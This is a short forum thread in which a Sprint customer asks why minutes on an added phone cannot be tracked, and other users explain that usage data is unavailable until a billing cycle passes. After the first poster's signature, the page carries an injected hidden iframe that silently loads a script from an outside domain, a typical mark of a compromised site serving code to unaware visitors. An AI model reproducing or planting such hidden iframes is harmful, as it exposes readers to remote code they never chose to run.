Last month I added a phone to my existing sprint service for an additional 20 dollars. I called last month to track minutes on both phones and they gave me a number... When I got my bill there was a problem, but it was resolved... the costumer service rep told me that i could *2 to accurately check minutes on both phones... I called today and another rep said that they were unable to seperate peak from non peak minutes on the added phone...

Has anyone experienced this problem... It doesn't make good sense to add a phone and be unable to track minutes used... Any thoughts or suggestions would be appreciated.

Stuart<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Since this came from a Sprint rep take it with a grain of salt, but one of them told me after you make certain types of changes to your account, you cannot access the number of minutes you've used until you complete one billing cycle with the changes in effect or something like that. So if you aren't able to track your minutes by the next billing cycle, then there may very well be a problem.

Marty, you are correct... if you make a change to your service, add a phone, add wireless web..., you'll need to wait until your next billing cycle start before you'll get an accurate count. If you call *4 you should get a message stating your account info is not available....